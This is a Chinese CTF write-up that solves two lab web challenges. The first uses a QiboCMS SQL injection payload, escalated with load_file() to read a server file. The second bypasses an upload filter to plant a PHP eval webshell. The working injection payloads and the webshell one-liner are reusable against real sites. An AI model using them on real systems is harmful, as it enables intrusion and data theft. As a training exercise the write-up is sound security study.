当前位置:   article > 正文

i 春秋CTF题目 百度杯 9月场 再见CMS Upload 复现_百度杯ctf

百度杯ctf

今天花了点时间刷了下题目,遇到几道相对来说进阶的题目,学习一下储备一些CTF思路,这些题。。脑洞有点开。

目录

再见CMS

 总结

Upload

绕过方法

 总结


再见CMS

昨天刚做一道

[WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程_AAAAAAAAAAAA66的博客-CSDN博客

今天继续按着套路来

直接在线CMS指纹识别

百度找到payload ,都是些过了很久的漏洞了

这里简单知道是一个注入漏洞就行了,我们的目的是照着payload修改找flag

POC

  1. 简单构造一下,
  2. 向http://localhost/qibov7/member/userinfo.php?job=edit&step=2
  3. 发送数据包:
  4. truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,
  5. address=(select user()) where uid=38%23

需要修改的emali=123@qq.com 和 uid=38

其中emali 是我们注册时用的邮箱

 uid:点击我们个人主页,uid可以看到

 下面到了自己动手的地方了(使用HACKBAR)

url

http://2ee06f40f1b54ce6acda4e66b31973067b028d2008ca40d9.changame.ichunqiu.com/member/homepage.php/member/userinfo.php?job=edit&step=2

post

truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select version()) where uid = 3 %23 

 

 可以看到这里报错注入显示了 服务器版本,所以到这我们就复现成功了

接下来爆表 (利用where table_schema=database()不用爆库)

  1. truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where uid = 3 %23

太多表了,一个一个查太麻烦了。(这里面没flag)有一个提示

用dirsearch-master

 

 那么就想办法用注入获取flag.php了

这里就要用到load_file函数了

MYSQL注入中load_file()函数的进一步应用_收集盒 Book box-CSDN博客

用16进制代表/var/www/html/flag.php

0x2f7661722f7777772f68746d6c2f666c61672e706870

最终payload

  1. truename=111&Limitword[000]=&email=111@qq.com&provinceid=
  2. , address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870) ) where uid = 3 %23

 最后在个人主页查看源码

搜索flag

 总结

抓住了一个点就不要放,既然存在注入就一定要用注入获取到flag,如果获取不到,再去搜索其他的信息,最终一定要与注入结合,才能获取flag,不可能出题人引导你找到了一个漏洞却不让你用。

Upload

简单上传个一句话

点击上传成功看路径,没路径是没办法用蚁剑连接的。

绕过方法

上面我们分析,过滤了 <? php 这2个字符。 怎么绕过呢?

  • php长标签 <script language="php">  绕过<?
  • 但是php 我们尝试大小写绕过 pHp

最终payload

<script language="pHp">@eval($_POST['xxx'])</script>

 上传 ,蚁剑连接。

顺便也能在index.php看见了过滤的代码

  1. <?php
  2. if (is_uploaded_file($_FILES["file"]["tmp_name"])):
  3. $file = $_FILES['file'];
  4. $name = $file['name'];
  5. if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
  6. $data = file_get_contents($file['tmp_name']);
  7. while($next = preg_replace("/<\\?/", "", $data)){
  8. $next = preg_replace("/php/", "", $next);
  9. if($data === $next) break;
  10. $data = $next;
  11. }
  12. file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
  13. chmod(dirname(__FILE__) . '/u/' . $name, 0644);
  14. ?>

 总结

这道题可以随便上传任意文件,但是对必要的一些php文件内容进行过滤,但是它给出了过滤的结果,想办法绕过过滤即可。


参考链接

[百度杯]九月场 再见CMS writeup_Flyour的博客-CSDN博客_再见cms

MYSQL注入中load_file()函数的进一步应用_收集盒 Book box-CSDN博客

“百度杯”CTF比赛 九月场——Web-Upload_Ifish的博客-CSDN博客

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/445505
推荐阅读
相关标签
  

闽ICP备14008679号